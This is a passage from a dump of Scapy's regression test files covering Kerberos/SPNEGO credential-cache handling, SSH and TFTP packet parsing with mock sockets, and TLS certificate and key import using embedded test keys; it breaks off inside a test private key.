RE9NQUlOLkxPQ0FMAAAADUFkbWluaXN0cmF0b3IAAAADAAAAAgAAAAxET01BSU4u\nTE9DQUwAAAAEY2lmcwAAABBEQzEuRE9NQUlOLkxPQ0FMABIAAAAgxahEIPO0srYHJe89OfcWetLT\nG6WLKdDHKMTn0+wtykZpLaQwaS2kPGkuMMtpLjDLAEClAAAAAAAAAAAAAAAABPphggT2MIIE8qAD\nAgEFoQ4bDERPTUFJTi5MT0NBTKIjMCGgAwIBA6EaMBgbBGNpZnMbEERDMS5ET01BSU4uTE9DQUyj\nggS0MIIEsKADAgESoQMCAQOiggSiBIIEnragYfz/CVtO/WA8R5S6DwhWbd1cxVKg7KnLMrqqbcwx\n3USZktAVxuPeLpoUMDLfs5D5ADUo4jHlLJrEAbGsWdFj7DgMYIHIWftRNIvGcCQqjG3/gvL/16+C\nGU6ghCUuVKpq16J2KRiHf97QnCAL79PK2d52L+k+f106GI+pRqWlpvrDEHd4Xtve/OW37sXRM3ar\nNYUfwjR4uVK7FzHWzisKb8DjgoqZJHt83LVh7Zk2Qxc6p0PMThwWLEI7RB9l8ll30C5cq1qH5kvh\nolIipAuAFxNniqE6UZl5GByGg9ck7KDrVrtz9p111BiCxnspfGdPuswjakiSNViSmCV7IsqH16gd\n9Z9VBlNNU//mLJd93qsdSxbLclY6F7D7TCAbyv4fgMrDeQ6GVqgjEDG8xtp7T5LUMZPwSgM0pVol\nkAWwSbmUh8i4OXQIzI0EAv2aNi0BsCWg1sb9Ri0NVQT5wSaFGHVpinxqrNVd5/mC2a4QgeQ2fOx9\n3fJmShdsrVjVPfcqvedk0L1xw0992l1K18KmtPFu7BhgfkJPOR+FfHJa2zPfnIGsbvuC282vBCbD\nkrDOug/Uqn01WUmUiwwGBWSTWOOfVDBFy6ETxXJvIkwV8n6Q1wMi8LgcBKc4LdHjbEqc8xJ8yvhA\nYJ00xOQNkCu/XK6R4gV5ZkhMs3tB7FoKYbizyAKSuhow3f8Bej/+Lp4VH6gqY33us3jImFizDPmG\nlcOrvTl2l0l8ZnQwpT/qP46yD34EIIvujZImf+gFv27F6SFhPkUmi0xISRCJU7XwYdZjNNhnsuom\nlGeBvDYhGQtJZ44ZXM7cRggQ+46y60KsHhZHucx5fIzrWrTWUur/gyzf4/ExB3YHX8k4WqzLbt0H\nt31LviTZf2a1A2ODwZTp2K8Q506qwr/e+wDRr+uNBOBo04c/tlpvSdi+lrbZODNMHGVIkuCo01Ei\nr68jRWaqmTrasXC5tmWyXiH3egN1BkUXqieXNBWYowTc7qr+820TbsOkMTPrxJje0cbvppT3NmB7\nEwyldUoxKDbrtOVr1VvnQWB8IHA2UwRDeuiHP2lRUGHyAHYDH2tlcpGhpk5jqrh4ok93mzZQ1EUz\nqbc9tNIRFJCGJlRnf8F5Vy1Xr7o/RfiVooOFXLktC8COr+lwccV1xQfhKEDLOgvqvVHjaQAvlp5v\n3Ce5973nwaQ3ttJakXXX5xk94Jzr9JeP/WIoVVHAnl661Zpd01KHIh8Belk+q2xRbJYKLRVmaoG3\njZmMYkEyP0W0KF3BBFMwRSXJkmyCojpebxKUPBeLelD+l7f2LY/limNhq3F/yju3HAGnuKRPybOu\nhaMfIiGCaH3FgEqFrudK+KQq4T5CZT/PoGsdmIK+WCElYahwGM6tueVa4RHhBHlSbi0Uyx7KexjL\nUHk7A8VRQvSMuQ0S6mj3rOp2w03ZeN+eHcj02cECUx0Sv2MQ5ds5o839X3Z/NsdquJ+83gx7SEHo\n7ziAcW28wWcCS1m+eRtxJA2rHILASEwsJbhXQVmllqRY3IuYGztLbKpPKUzveq/2JVBHYZPgKb56\nUJ8RjD9bppHbawAAAAA=\n\"\"\"\nccache_file = get_temp_file()\nwith open(ccache_file, \"wb\") as fd:\n    fd.write(base64.b64decode(DATA.strip()))\n\nos.environ[\"KRB5CCNAME\"] = ccache_file\n\n= SPNEGOSSP.from_cli_arguments - UPN + CCache - TGT from KRB5CCNAME\n\nssp = test_pwfail(\n    UPN=\"Administrator@domain.local\",\n    target=\"machine.domain.local\",\n    use_krb5ccname=True,\n)\nassert len(ssp.ssps) == 1\nassert ssp.ssps[0].TGT\nassert not ssp.ssps[0].ST\n\n= SPNEGOSSP.from_cli_arguments - UPN + CCache - TGT from ccache\n\nssp = test_pwfail(\n    UPN=\"Administrator@domain.local\",\n    target=\"machine.domain.local\",\n    ccache=ccache_file\n)\nassert len(ssp.ssps) == 1\nassert ssp.ssps[0].TGT\nassert not ssp.ssps[0].ST\n\n= SPNEGOSSP.from_cli_arguments - UPN + CCache - ST from ccache\n\nssp = test_pwfail(\n    UPN=\"Administrator@domain.local\",\n    target=\"dc1.domain.local\",\n    ccache=ccache_file\n)\nassert len(ssp.ssps) == 1\nassert ssp.ssps[0].ST\nassert not ssp.ssps[0].TGT\n\n= SPNEGOSSP.from_cli_arguments - UPN + CCache - Failure\n\ntry:\n    test_pwfail(\n        UPN=\"Administrator@domain.local\",\n        target=\"machine.domain.local\",\n    )\n    assert False, \"Should have prompted for password !\"\nexcept ValueError:\n    pass\n\n= SPNEGOSSP.from_cli_arguments - UPN + CCache - Bad UPN\n\ntry:\n    test_pwfail(\n        UPN=\"toto@domain.local\",\n        target=\"machine.domain.local\",\n        ccache=ccache_file\n    )\n    assert False, \"Should have failed !\"\nexcept ValueError:\n    pass\n"
  },
  {
    "path": "test/scapy/layers/ssh.uts",
    "content": "% SSH regression tests for Scapy\n\n+ SSH tests\n\n= Load SSH and SSH pcap\n\nfrom scapy.layers.ssh import *\npkts = rdpcap(scapy_path(\"/test/pcaps/ssh_ed25519.pcap\"))\n\n= Check for SSHVersionExchange\n\nassert SSHVersionExchange in pkts[3]\nassert pkts[3].lines == [b'SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u1']\n\n= Check for SSH KexInit\n\nassert pkts[8].pay.type == 20\nassert pkts[8].pay.kex_algorithms.names == [b'sntrup761x25519-sha512@openssh.com', b'curve25519-sha256', b'curve25519-sha256@libssh.org', b'ecdh-sha2-nistp256', b'ecdh-sha2-nistp384', b'ecdh-sha2-nistp521', b'diffie-hellman-group-exchange-sha256', b'diffie-hellman-group16-sha512', b'diffie-hellman-group18-sha512', b'diffie-hellman-group14-sha256']\nassert pkts[8].pay.compression_algorithms_client_to_server.names == [b'none', b'zlib@openssh.com']\nassert pkts[8].pay.first_kex_packet_follows == 0\n\n= Check for SSH Kex DH Init\n\nassert pkts[9].pay.e.value == 2350579254774455149352841074576538343990628078324267734527140871419932900538846241321452574779013468175018290651674793284015144587365340014962083771650859331476013596977123734998706481058518220105378857548427645559226229797476788395456646389818256564838400739135010680681163456095677232493468587230912056633743356721223955966756143014970734820639779746710511156996619195651512803235508645669051962031830043263352566212925544898655158819407252176433755590900240990111833619058714386338971655960765233885975850331922799954445954999296511309262036243757363804224821843032668273263064448847356873248470173458896243397517402866118125112555466428030166305568609671333602038983517505792245686243281766138834921907336198416449172686346486278292406454736650900489703602941311383274571253473117352192402069818356338637658276508681778175858698292872544113899589241205559671386224999719303843179598966006636814844667908804397048115462945951578163865384872376314062218622823399683168509281546378022234848416282276373248755506541244682438394426446625521247772730497030387798046748675856950435919346613694108323269457293633349708282520556429147475379754811181108827452704284587405668562299209768965780662855380191554093502874303015220051947466960323628390298028334555285261078171376959928596505395834904631983924930632066431620277301098016669514461539415396461120090857273167687140578309080011600491384868409678444601854368584606594031430672989514629489628693896623746874263590779323124144977231406480674784862894820443935735009785417326990153059454525335480905124180809168192695170554860881795940302149730125034860576014797577021907464402342887433222178995989216549376816454492040151004613910636289921361266911700572137074963622410473946132501034758965925448585513804452940921661377181371668124810916661795313840472724039889785883499146147917756012320556865741641210760458632895093416475238323450214341924898457846364890041182141641464569458439289152005646151462927271290045368143992045845833755058875621892664952349241777000175525150234301417133611325716295866942917806328460205857145603834255471170372323643072574234093090258963511137747272416302757220165305443240348220594316744411327905569373474701071080394539231361841208268626239088329642014216286141161796678306068065801822739617419769840590119143287370990841250896367782388086153939896000077437989471526045058990545907990089943059323343511158016141104461822684535344848072465778114834380180144470998703244485996404968078774187171096252472206846575112317045051585989901412734220984229769099373462781991394933642599850052765470790711255335450011529534223200229563089616493679704133500670071803056311472370457584460617950784473886654145020569892882621834458180061425761806601776138949785217977296683442504030198235793054259542236826904098257847794792743244091577002001218915723232763883537852453240602434246755006330557239933\n\n= Check for SSH Kex DH Reply\n\nassert isinstance(pkts[10].pay, SSHKexDHReply)\nassert isinstance(pkts[10].pay.K_S.value.data, SSHPublicKeyEd25519)\nassert pkts[10].pay.f.value == 145420364842225773825302401106325914711274265993324154430728894326534621359109155840425186538544552052796050053335958730866886288740744420249345515750154798851184330959497070659898985425204715378366354679146309457749164371561091155243958216182101971799434050687511559028317449152411472762323723877627671103812914723157350965167617881557068354019877391362267976527576493473875435265184048851428107514944286989616342786043599413975131699425817361398892615937862444397978104862748600515902989933687456311656405442430739088222322061894563421315591443786569893421006874109563323602421056664468719115729999515282373592751468532774515579030227333862046510775187524340678261311443115463596625632382798119365245475607690175500571706486276645913449452000600385503347151840872914773898773488397031589360149311688536059026933073591802120869627115324168091970764557964769308675365930500125154235572029870366848539246435374954851006770023189648291776010080795050223050860998900405137902471191697225277049222592746894837282272020541849100564888026189233806723871439229668619801557051355230295711162074261723735096669381118352514087748543069098521714367520620776857909533548692973709024859908263199571215346407936984296807266382121546828903054910125941912141681820440324847067053005923257053547200527533308902169030187411617725866120378101642906954603853930588700927719183637036840650380578915269559991390749067662922590313459051714023483342069069486856997828131877064697883838294364044597377634856362822832142618450301805844505073311557951656608292385708401134544514223462642265767599035258374748229336714718608533685329531126529049892131138601419901815421341388895007293701087086445997233255224283053634387459108049782685439584490166669027769404082346078709263888381794126372684739109951124329930500566714883267402922809647283904702829959640898613561998011861738175990862617646085551086342592758425640217942375761120002214263525285687683437628809639146334705175599606153814250017075639638206689953262483413749172593472713439934441043308651524160071237216451477801106668255062822659635335764848170476026942604710330092513922989750910298327358097823488084536544440798321307308541642435897397586864585774450444856007727437988290169282904777426371810586287022758237175995926455562260123808781040290584381913532810485127812346450200037604344159195037050778864761984776712383681923622054756893185075573777827838180404632794820045063257647197822508971656160962510350864007240071912329456453627835389896781002210494913596666104457655076724437210855739938617334378596008363125551567605259368940675801716\nassert isinstance(pkts[10].pay.H_hash.value.data, SSHSignatureEd25519)\nassert pkts[10].pay.H_hash.value.data.key.value == b\"\\xef\\xecj=~\\xe4Y'\\xe9\\xad\\xb7?\\xfe?[\\xf3\\xddn\\x1e\\x91\\xb5\\x1c\\xb6O\\xf5&\\xc7$\\x9f\\x0c\\xeb\\x1c<\\xf2n\\x87iH\\xb9\\xaf\\xf5\\xdfXB\\xb7\\x99\\xd1\\xbe%\\x92\\x98a)+\\x01\\\\\\xa7\\xb4\\xb2\\x82!\\x05e\\x0e\"\n\n= Check for the 2 SSH New Msgs\n\nassert isinstance(pkts[10][SSH:2].pay, SSHNewKeys)\nassert isinstance(pkts[12].pay, SSHNewKeys)\n"
  },
  {
    "path": "test/scapy/layers/tftp.uts",
    "content": "% Regression tests for TFTP\n\n# More information at http://www.secdev.org/projects/UTscapy/\n\n+ TFTP coverage tests\n\n= Test answers\n\nassert TFTP_DATA(block=1).answers(TFTP_RRQ())\nassert not TFTP_WRQ().answers(TFTP_RRQ())\nassert not TFTP_RRQ().answers(TFTP_WRQ())\nassert TFTP_ACK(block=1).answers(TFTP_DATA(block=1))\nassert not TFTP_ACK(block=0).answers(TFTP_DATA(block=1))\nassert TFTP_ACK(block=0).answers(TFTP_RRQ())\nassert not TFTP_ACK().answers(TFTP_ACK())\nassert TFTP_ERROR().answers(TFTP_DATA()) and TFTP_ERROR().answers(TFTP_ACK())\nassert TFTP_OACK().answers(TFTP_WRQ())\n\n= TFTP Options\n\nx=IP(src=\"127.0.0.1\")/UDP(sport=12345)/TFTP()/TFTP_RRQ(filename=\"fname\")/TFTP_Options(options=[TFTP_Option(oname=\"blksize\", value=\"8192\"),TFTP_Option(oname=\"other\", value=\"othervalue\")])\nassert  raw(x) == b'E\\x00\\x00H\\x00\\x01\\x00\\x00@\\x11|\\xa2\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x0109\\x00E\\x004B6\\x00\\x01fname\\x00octet\\x00blksize\\x008192\\x00other\\x00othervalue\\x00' \ny=IP(raw(x))\ny[TFTP_Option].oname\ny[TFTP_Option:2].oname\nassert len(y[TFTP_Options].options) == 2 and y[TFTP_Option].oname == b\"blksize\"\n\n\n+ TFTP Automatons\n~ linux\n\n= Utilities\n~ linux\n\nfrom scapy.automaton import select_objects\n\nclass MockTFTPSocket(object):\n    packets = []\n    def __init__(self, iface):\n        self.iface = iface\n    def recv(self, n=None):\n        pkt = self.packets.pop(0)\n        return pkt\n    def send(self, *args, **kargs):\n        pass\n    def close(self):\n        pass\n    @classmethod\n    def select(classname, inputs, remain):\n        test = [s for s in inputs if isinstance(s, classname)]\n        if test:\n            if len(test[0].packets):\n                return test\n            else:\n                inputs = [s for s in inputs if not isinstance(s, classname)]\n        return select_objects(inputs, remain)\n\n\n= TFTP_read() automaton\n~ linux\n\nclass MockReadSocket(MockTFTPSocket):\n    packets = [IP(src=\"1.2.3.4\") / UDP(dport=0x2807) / TFTP_DATA(block=1) / (\"P\" * 512),\n               IP(src=\"1.2.3.4\") / UDP(dport=0x2807) / TFTP_DATA(block=2) / \"<3\"]\n\ntftp_read = TFTP_read(\"file.txt\", \"1.2.3.4\", sport=0x2807,\n                      ll=MockReadSocket,\n                      recvsock=MockReadSocket, debug=5)\n\nres = tftp_read.run()\nassert res == (b\"P\" * 512 + b\"<3\")\n\n= TFTP_read() automaton error\n~ linux\n\nclass MockReadSocket(MockTFTPSocket):\n    packets = [IP(src=\"1.2.3.4\") / UDP(dport=0x2807) / TFTP_ERROR(errorcode=2, errormsg=\"Fatal error\")]\n\ntftp_read = TFTP_read(\"file.txt\", \"1.2.3.4\", sport=0x2807,\n                      ll=MockReadSocket,\n                      recvsock=MockReadSocket)\n\ntry:\n    tftp_read.run()\n    assert False\nexcept Automaton.ErrorState as e:\n    assert \"Reached ERROR\" in str(e)\n    assert \"ERROR Access violation\" in str(e)\n\n\n= TFTP_write() automaton\n~ linux\n\ndata_received = b\"\"\n\nclass MockWriteSocket(MockTFTPSocket):\n    packets = [IP(src=\"1.2.3.4\") / UDP(dport=0x2807) / TFTP_ACK(block=0),\n               IP(src=\"1.2.3.4\") / UDP(dport=0x2807) / TFTP_ACK(block=1) ]\n    def send(self, *args, **kargs):\n        if len(args) and Raw in args[0]:\n            global data_received\n            data_received += args[0][Raw].load\n\ntftp_write = TFTP_write(\"file.txt\", \"P\" * 767 + \"Scapy <3\", \"1.2.3.4\", sport=0x2807,\n                        ll=MockWriteSocket,\n                        recvsock=MockWriteSocket)\n\ntftp_write.run()\nassert data_received == (b\"P\" * 767 + b\"Scapy <3\")\n\n= TFTP_write() automaton error\n~ linux\n\nclass MockWriteSocket(MockTFTPSocket):\n    packets = [IP(src=\"1.2.3.4\") / UDP(dport=0x2807) / TFTP_ERROR(errorcode=2, errormsg=\"Fatal error\")]\n\ntftp_write = TFTP_write(\"file.txt\", \"P\" * 767 + \"Scapy <3\", \"1.2.3.4\", sport=0x2807,\n                        ll=MockWriteSocket,\n                        recvsock=MockWriteSocket)\n\ntry:\n    tftp_write.run()\n    assert False\nexcept Automaton.ErrorState as e:\n    assert \"Reached ERROR\" in str(e)\n    assert \"ERROR Access violation\" in str(e)\n\n\n= TFTP_WRQ_server() automaton\n~ linux\n\nclass MockWRQSocket(MockTFTPSocket):\n    packets = [IP(dst=\"1.2.3.4\") / UDP(dport=0x2807) / TFTP() / TFTP_WRQ(filename=\"scapy.txt\"),\n               IP(dst=\"1.2.3.4\") / UDP(dport=0x2807) / TFTP() / TFTP_DATA(block=1) / (\"P\" * 512),\n               IP(dst=\"1.2.3.4\") / UDP(dport=0x2807) / TFTP() / TFTP_DATA(block=2) / \"<3\"]\n\ntftp_wrq = TFTP_WRQ_server(ip=\"1.2.3.4\", sport=0x2807,\n                           ll=MockWRQSocket,\n                           recvsock=MockWRQSocket)\nassert tftp_wrq.run() == (b\"scapy.txt\", (b\"P\" * 512 + b\"<3\"))\n\n= TFTP_WRQ_server() automaton with options\n~ linux\n\nclass MockWRQSocket(MockTFTPSocket):\n    packets = [IP(dst=\"1.2.3.4\") / UDP(dport=0x2807) / TFTP() / TFTP_WRQ(filename=\"scapy.txt\") / TFTP_Options(options=[TFTP_Option(oname=\"blksize\", value=\"100\")]),\n               IP(dst=\"1.2.3.4\") / UDP(dport=0x2807) / TFTP() / TFTP_DATA(block=1) / (\"P\" * 100),\n               IP(dst=\"1.2.3.4\") / UDP(dport=0x2807) / TFTP() / TFTP_DATA(block=2) / \"<3\"]\n\ntftp_wrq = TFTP_WRQ_server(ip=\"1.2.3.4\", sport=0x2807,\n                           ll=MockWRQSocket,\n                           recvsock=MockWRQSocket)\nassert tftp_wrq.run() == (b\"scapy.txt\", (b\"P\" * 100 + b\"<3\"))\n\n= TFTP_RRQ_server() automaton\n~ linux\n\nsent_data = \"P\" * 512 + \"<3\"\nimport tempfile\nfilename = tempfile.mktemp(suffix=\".txt\")\nfdesc = open(filename, \"w\")\nfdesc.write(sent_data)\nfdesc.close()\n\nreceived_data = \"\"\n\nclass MockRRQSocket(MockTFTPSocket):\n    packets = [IP(dst=\"1.2.3.4\") / UDP(dport=0x2807) / TFTP() / TFTP_RRQ(filename=\"scapy.txt\") / TFTP_Options(options=[TFTP_Option(oname=\"blksize\", value=\"100\")]),\n               IP(dst=\"1.2.3.4\") / UDP(dport=0x2807) / TFTP() / TFTP_RRQ(filename=filename[5:]) / TFTP_Options(),\n               IP(dst=\"1.2.3.4\") / UDP(dport=0x2807) / TFTP() / TFTP_ACK(block=1),\n               IP(dst=\"1.2.3.4\") / UDP(dport=0x2807) / TFTP() / TFTP_ACK(block=2) ]\n    def send(self, *args, **kargs):\n        if len(args):\n            pkt = args[0]\n            if TFTP_DATA in pkt:\n                global received_data\n                received_data += pkt[Raw].load.decode(\"utf-8\")\n\ntftp_rrq = TFTP_RRQ_server(ip=\"1.2.3.4\", sport=0x2807, dir=\"/tmp/\", serve_one=True,\n                           ll=MockRRQSocket,\n                           recvsock=MockRRQSocket, debug=4)\ntftp_rrq.run()\nassert received_data == sent_data\n\nimport os\nos.unlink(filename)\n"
  },
  {
    "path": "test/scapy/layers/tls/__init__.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2016 Maxence Tury <maxence.tury@ssi.gouv.fr>\n\n\"\"\"\nExamples and test PKI for the TLS module.\n\"\"\"\n\n"
  },
  {
    "path": "test/scapy/layers/tls/cert.uts",
    "content": "# Cert extension - Regression Test Campaign\n\n# Try me with:\n# bash test/run_tests -t test/cert.uts -F\n\n~ crypto\n\n########### PKCS helpers ###############################################\n\n+ PKCS helpers tests \n\n= PKCS os2ip basic tests\npkcs_os2ip(b'\\x00\\x00\\xff\\xff') == 0xffff and pkcs_os2ip(b'\\xff\\xff\\xff\\xff\\xff') == 0xffffffffff\n\n= PKCS i2osp basic tests\npkcs_i2osp(0xffff, 4) == b'\\x00\\x00\\xff\\xff' and pkcs_i2osp(0xffff, 2) == b'\\xff\\xff' and pkcs_i2osp(0xffffeeee, 3) == b'\\xff\\xff\\xee\\xee'\n\n\n########### PubKey class ###############################################\n\n+ PubKey class tests\n\n= PubKey class : Importing PEM-encoded RSA public key\nx = PubKey(\"\"\"\n-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAmFdqP+nTEZukS0lLP+yj\n1gNImsEIf7P2ySTunceYxwkm4VE5QReDbb2L5/HLA9pPmIeQLSq/BgO1meOcbOSJ\n2YVHQ28MQ56+8Crb6n28iycX4hp0H3AxRAjh0edX+q3yilvYJ4W9/NnIb/wAZwS0\noJif/tTkVF77HybAfJde5Eqbp+bCKIvMWnambh9DRUyjrBBZo5dA1o32zpuFBrJd\nI8dmUpw9gtf0F0Ba8lGZm8Uqc0GyXeXOJUE2u7CiMu3M77BM6ZLLTcow5+bQImkm\nTL1SGhzwfinME1e6p3Hm//pDjuJvFaY22k05LgLuyqc59vFiB3Toldz8+AbMNjvz\nAwIDAQAB\n-----END PUBLIC KEY-----\n\"\"\")\nx_pubNum = x.pubkey.public_numbers()\ntype(x) is PubKeyRSA\n\n= PubKey class : Verifying PEM key format\nx.frmt == \"PEM\"\n\n= PubKey class : Importing DER-encoded RSA Key\ny = PubKey(b'0\\x82\\x01\\\"0\\r\\x06\\t*\\x86H\\x86\\xf7\\r\\x01\\x01\\x01\\x05\\x00\\x03\\x82\\x01\\x0f\\x000\\x82\\x01\\n\\x02\\x82\\x01\\x01\\x00\\x98Wj?\\xe9\\xd3\\x11\\x9b\\xa4KIK?\\xec\\xa3\\xd6\\x03H\\x9a\\xc1\\x08\\x7f\\xb3\\xf6\\xc9$\\xee\\x9d\\xc7\\x98\\xc7\\t&\\xe1Q9A\\x17\\x83m\\xbd\\x8b\\xe7\\xf1\\xcb\\x03\\xdaO\\x98\\x87\\x90-*\\xbf\\x06\\x03\\xb5\\x99\\xe3\\x9cl\\xe4\\x89\\xd9\\x85GCo\\x0cC\\x9e\\xbe\\xf0*\\xdb\\xea}\\xbc\\x8b\\'\\x17\\xe2\\x1at\\x1fp1D\\x08\\xe1\\xd1\\xe7W\\xfa\\xad\\xf2\\x8a[\\xd8\\'\\x85\\xbd\\xfc\\xd9\\xc8o\\xfc\\x00g\\x04\\xb4\\xa0\\x98\\x9f\\xfe\\xd4\\xe4T^\\xfb\\x1f&\\xc0|\\x97^\\xe4J\\x9b\\xa7\\xe6\\xc2(\\x8b\\xccZv\\xa6n\\x1fCEL\\xa3\\xac\\x10Y\\xa3\\x97@\\xd6\\x8d\\xf6\\xce\\x9b\\x85\\x06\\xb2]#\\xc7fR\\x9c=\\x82\\xd7\\xf4\\x17@Z\\xf2Q\\x99\\x9b\\xc5*sA\\xb2]\\xe5\\xce%A6\\xbb\\xb0\\xa22\\xed\\xcc\\xef\\xb0L\\xe9\\x92\\xcbM\\xca0\\xe7\\xe6\\xd0\\\"i&L\\xbdR\\x1a\\x1c\\xf0~)\\xcc\\x13W\\xba\\xa7q\\xe6\\xff\\xfaC\\x8e\\xe2o\\x15\\xa66\\xdaM9.\\x02\\xee\\xca\\xa79\\xf6\\xf1b\\x07t\\xe8\\x95\\xdc\\xfc\\xf8\\x06\\xcc6;\\xf3\\x03\\x02\\x03\\x01\\x00\\x01')\ny_pubNum = y.pubkey.public_numbers()\ntype(y) is PubKeyRSA\n\n= PubKey class : Verifying DER key format\ny.frmt == \"DER\"\n\n= PubKey class : Checking modulus value\nx_pubNum.n == y_pubNum.n and x_pubNum.n == 19231328316532061413420367242571475005688288081144416166988378525696075445024135424022026378563116068168327239354659928492979285632474448448624869172454076124150405352043642781483254546569202103296262513098482624188672299255268092629150366527784294463900039290024710152521604731213565912934889752122898104556895316819303096201441834849255370122572613047779766933573375974464479123135292080801384304131606933504677232323037116557327478512106367095125103346134248056463878553619525193565824925835325216545121044922690971718737998420984924512388011040969150550056783451476150234324593710633552558175109683813482739004163\n\n= PubKey class : Checking public exponent value\nx_pubNum.e == y_pubNum.e and x_pubNum.e == 65537\n\n= PubKey class : Importing PEM-encoded ECDSA public key\nz = PubKey(\"\"\"\n-----BEGIN PUBLIC KEY-----\nMFYwEAYHKoZIzj0CAQYFK4EEAAoDQgAE55WjbZjS/88K1kYagsO9wtKifw0IKLp4\nJd5qtmDF2Zu+xrwrBRT0HBnPweDU+RsFxcyU/QxD9WYORzYarqxbcA==\n-----END PUBLIC KEY-----\n\"\"\")\ntype(z) is PubKeyECDSA\n\n= PubKey class : Checking curve\nz.pubkey.curve.name == \"secp256k1\"\n\n= PubKey class : Checking point value\nz.pubkey.public_numbers().x == 104748656174769496952370005421566518252704263000192720134585149244759951661467\n\n= PubKeyRSA class : Generate without modulus\nt = PubKeyRSA()\nt.fill_and_store(modulus=None, pubExp=65537, modulusLen=1024)\nassert t.pubkey.key_size == 1024\nassert t.pubkey.public_numbers().e == 65537\n\n########### PrivKey class ###############################################\n\n+ PrivKey class tests\n\n= PrivKey class : Importing PEM-encoded RSA private key\nx = PrivKey(\"\"\"\n-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEAmFdqP+nTEZukS0lLP+yj1gNImsEIf7P2ySTunceYxwkm4VE5\nQReDbb2L5/HLA9pPmIeQLSq/BgO1meOcbOSJ2YVHQ28MQ56+8Crb6n28iycX4hp0\nH3AxRAjh0edX+q3yilvYJ4W9/NnIb/wAZwS0oJif/tTkVF77HybAfJde5Eqbp+bC\nKIvMWnambh9DRUyjrBBZo5dA1o32zpuFBrJdI8dmUpw9gtf0F0Ba8lGZm8Uqc0Gy\nXeXOJUE2u7CiMu3M77BM6ZLLTcow5+bQImkmTL1SGhzwfinME1e6p3Hm//pDjuJv\nFaY22k05LgLuyqc59vFiB3Toldz8+AbMNjvzAwIDAQABAoIBAH3KeJZL2hhI/1GX\nNMaU/PfDgFkgmYbxMA8JKusnm/SFjxAwBGnGI6UjBXpBgpQs2Nqm3ZseF9u8hmCK\nvGiCEX2GesCo2mSfmSQxD6RBrMTuQ99UXpxzBIscFnM/Zrs8lPBARGzmF2nI3qPx\nXtex4ABX5o0Cd4NfZlZjpj96skUoO8+bd3I4OPUFYFFFuv81LoSQ6Hew0a8xtJXt\nKkDp9h1jTGGUOc189WACNoBLH0MGeVoSUfc1++RcC3cypUZ8fNP1OO6GBfv06f5o\nXES4ZbxGYpa+nCfNwb6V2gWbkvaYm7aFn0KWGNZXS1P3OcWv6IWdOmg2CI7MMBLJ\n0LyWVCECgYEAyMJYw195mvHl8VyxJ3HkxeQaaozWL4qhNQ0Kaw+mzD+jYdkbHb3a\nBYghsgEDZjnyOVblC7I+4smvAZJLWJaf6sZ5HAw3zmj1ibCkXx7deoRc/QVcOikl\n3dE/ymO0KGJNiGzJZmxbRS3hTokmVPuxSWW4p5oSiMupFHKa18Uv8DECgYEAwkJ7\niTOUL6b4e3lQuHQnJbsiQpd+P/bsIPP7kaaHObewfHpfOOtIdtN4asxVFf/PgW5u\nWmBllqAHZYR14DEYIdL+hdLrdvk5nYQ3YfhOnp+haHUPCdEiXrRZuGXjmMA4V0hL\n3HPF5ZM8H80fLnN8Pgn2rIC7CZQ46y4PnoV1nXMCgYBBwCUCF8rkDEWa/ximKo8a\noNJmAypC98xEa7j1x3KBgnYoHcrbusok9ajTe7F5UZEbZnItmnsuG4/Nm/RBV1OY\nuNgBb573YzjHl6q93IX9EkzCMXc7NS7JrzaNOopOj6OFAtwTR3m89oHMDu8W9jfi\nKgaIHdXkJ4+AuugrstE4gQKBgFK0d1/8g7SeA+Cdz84YNaqMt5NeaDPXbsTA23Qx\nUBU0rYDxoKTdFybv9a6SfA83sCLM31K/A8FTNJL2CDGA9WNBL3fOSs2GYg88AVBG\npUJHeDK+0748OcPUSPaG+pVIETSn5RRgffq16r0nWYUvSdAn8cuTqw3y+yC1pZS6\nAU8dAoGBAL5QCi0dTWKN3kf3cXaCAnYiWe4Qg2S+SgLE+F1U4Xws2rqAuSvIiuT5\ni5+Mqk9ZCGdoReVbAovJFoRqe7Fj9yWM+b1awGjL0bOTtnqx0iljob6uFyhpl1xg\nW3a3ICJ/ZYLvkgb4IBEteOwWpp37fX57vzhW8EmUV2UX7ve1uNRI\n-----END RSA PRIVATE KEY-----\n\"\"\")\nx_privNum = x.key.private_numbers()\nx_pubNum = x.pubkey.public_numbers()\ntype(x) is PrivKeyRSA\n\n= PrivKey class : Checking public attributes\nassert x_pubNum.n == 19231328316532061413420367242571475005688288081144416166988378525696075445024135424022026378563116068168327239354659928492979285632474448448624869172454076124150405352043642781483254546569202103296262513098482624188672299255268092629150366527784294463900039290024710152521604731213565912934889752122898104556895316819303096201441834849255370122572613047779766933573375974464479123135292080801384304131606933504677232323037116557327478512106367095125103346134248056463878553619525193565824925835325216545121044922690971718737998420984924512388011040969150550056783451476150234324593710633552558175109683813482739004163\nx_pubNum.e == 65537\n\n= PrivKey class : Checking private attributes\nassert x_privNum.p == 140977881300857803928857666115326329496639762170623218602431133528876162476487960230341078724702018316260690172014674492782486113504117653531825010840338251572887403113276393351318549036549656895326851872473595350667293402676143426484331639796163189182788306480699144107905869179435145810212051656274284113969\nassert x_privNum.q == 136413798668820291889092636919077529673097927884427227010121877374504825870002258140616512268521246045642663981036167305976907058413796938050224182519965099316625879807962173794483933183111515251808827349718943344770056106787713032506379905031673992574818291891535689493330517205396872699985860522390496583027\nassert x_privNum.dmp1 == 46171616708754015342920807261537213121074749458020000367465429453038710215532257783908950878847126373502288079285334594398328912526548076894076506899568491565992572446455658740752572386903609191774044411412991906964352741123956581870694330173563737928488765282233340389888026245745090096745219902501964298369\nassert x_privNum.dmq1 == 58077388505079936284685944662039782610415160654764308528562806086690474868010482729442634318267235411531220690585030443434512729356878742778542733733189895801341155353491318998637269079682889033003797865508917973141494201620317820971253064836562060222814287812344611566640341960495346782352037479526674026269\nx_privNum.d == 15879630313397508329451198152673380989865598204237760057319927734227125481903063742175442230739018051313441697936698689753842471306305671266572085925009572141819112648211571007521954312641597446020984266846581125287547514750428503480880603089110687015181510081018160579576523796170439894692640171752302225125980423560965987469457505107324833137678663960560798216976668670722016960863268272661588745006387723814962668678285659376534048525020951633874488845649968990679414325096323920666486328886913648207836459784281744709948801682209478580185160477801656666089536527545026197569990716720623647770979759861119273292833\n\n= PrivKey class : Importing PEM-encoded ECDSA private key\ny = PrivKey(\"\"\"\n-----BEGIN EC PRIVATE 